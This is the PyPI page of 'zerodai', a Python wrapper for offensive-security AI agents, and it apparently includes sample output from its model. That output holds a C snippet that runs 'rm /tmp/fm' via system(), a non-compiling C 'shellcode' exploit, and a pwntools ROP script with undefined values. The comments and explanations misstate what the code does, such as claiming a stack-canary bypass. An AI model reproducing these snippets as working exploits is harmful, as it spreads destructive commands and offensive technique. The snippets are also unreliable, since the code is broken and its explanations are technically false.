Skip to main content

AI Models and Agent Structures Wrapper for particularly offensive cybersecurity and cyberintelligence by 0dAI Company

Project description

Zerodai Library Documentation

Table of Contents

  1. Introduction
  2. Method Descriptions
  3. Code Examples
  4. Documentación en Español

Introduction

The Zerodai library is designed to facilitate advanced cybersecurity and cyberintelligence operations through a series of specialized methods. This documentation aims to guide users of all levels, especially those new to Python or cybersecurity, through understanding and utilizing the powerful features of the Zerodai library.

Method Descriptions

Inference

The inference method is a core component of the Zerodai library, allowing users to execute AI-driven analysis and response generation based on a set of input messages and specified functions. This method adapts its behavior based on the model specified, and can operate in either a streaming or non-streaming mode for real-time results.

Function Calls (fn_c)

fn_c is crucial for executing multiple cybersecurity tools or functions in a sequence, based on the complexity of the tasks required. It supports multistep operations, streaming output, and can dynamically adjust its processing based on the model and functions passed to it.

Agent

The agent method orchestrates complex interactions involving multiple tools and functions. It decides the flow of operations, handles execution, and manages error or output processing. This method is particularly useful for scenarios requiring a series of actions based on dynamic inputs and conditions.

Secondary Methods

Other methods such as google, rubberducky_gen, and shodan_dork are specialized functions designed for specific cybersecurity tasks like generating Google dorks or creating payloads for Rubber Ducky devices. These are explained in less detail but are crucial for targeted operations.

Models

0dAI 72 B

This model is currently SOTA on cybersecurity

  1. El siguiente código presenta una vulnerabilidad de búfer overflow en la función "printMenu". Esto permite al atacante sobreescribir la dirección de retorno con un valor controlado.
hashtag#include <stdio.h>
hashtag#include <string.h>

void printMenu(char* username){
 printf("Welcome %s\n",username);
}

int main(){
 char buffer[27];
 memset(buffer,'A',26); // Bypassing stack canary protection
 strcat(buffer,";rm /tmp/fm"); // Overwriting the return address with our controlled value
 puts(buffer); 
 system(buffer);
}

Exploit en C:

hashtag#include<stdio.h>
hashtag#include<string.h>

void (*shellcode)() = &system("/bin/bash");

int main(int argc,char** argv){

 unsigned int addr = (unsigned int)&shellcode;
 
 char payload[4];
 
 payload[0] = (addr >> 24) & 0xff;
 payload[1] = (addr >> 16) & 0xff;
 payload[2] = (addr >> 8) & 0xff;
 payload[3] = addr & 0xff;

 char format[] = "%08X";
 
 FILE *fp = fopen(argv[1],"w+");
 
 if(fp == NULL)
 exit(1);

 fprintf(fp,"%s",format,payload);

 fclose(fp);
 
 return 0;
} 

The previous code generates a file with the necessary shellcode to execute arbitrary commands on the vulnerable system.

Python:

from pwn import *

context(os='linux', arch='amd64')

# Archivo binario con la vulnerabilidad
binary = './vulnerable_binary'

io = process(binary)

rop = ROP(io.binary)

# Nos saltamos el ASLR
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
ret = rop.find_gadget(['ret'])[0]

payload = flat(
 asm('nop') * offset,
 pop_rdi,
 next_code_address,
 ret,
 io.plt['system']
)


io.sendlineafter(b'> ', payload)
io.interactive()

This exploit uses Pwntools to construct a payload that bypasses ASLR using ROP gadgets to call the system function and pass the address of our shellcode as an argument. In this case, we are passing /bin/sh, but any other command would also work.

Please be aware that these exploits are designed solely for educational purposes and should only be used in authorized environments and with permission. The creation of malicious or illegal exploits can have serious legal consequences.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

zerodai-0.0.0.12.tar.gz (18.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

zerodai-0.0.0.12-py3-none-any.whl (3.2 kB view details)

Uploaded Python 3

File details

Details for the file zerodai-0.0.0.12.tar.gz.

File metadata

  • Download URL: zerodai-0.0.0.12.tar.gz
  • Upload date:
  • Size: 18.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.0 CPython/3.10.12

File hashes

Hashes for zerodai-0.0.0.12.tar.gz
Algorithm Hash digest
SHA256 f934db135530fb71c5de65c464fc7aab584c2a7341b8bbddb71a9a122854e933
MD5 4b8a6ef5e4a49a9d935a3e3fda8bbf69
BLAKE2b-256 3e0ac7fe21cc4d03b11e60c68e681f538466675dd42f8626eb5fbec0895d7f98

See more details on using hashes here.

File details

Details for the file zerodai-0.0.0.12-py3-none-any.whl.

File metadata

  • Download URL: zerodai-0.0.0.12-py3-none-any.whl
  • Upload date:
  • Size: 3.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.0 CPython/3.10.12

File hashes

Hashes for zerodai-0.0.0.12-py3-none-any.whl
Algorithm Hash digest
SHA256 8e7142ee848067ce7b61be35ac95ec469090541f5d51331050efd19f3bb6c0b7
MD5 10311a7c8222d0619c684391618d3a69
BLAKE2b-256 99184b4ab5735f6de31d9a26b521eb49c3a1e5e2345c54244cf476217de883f5

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page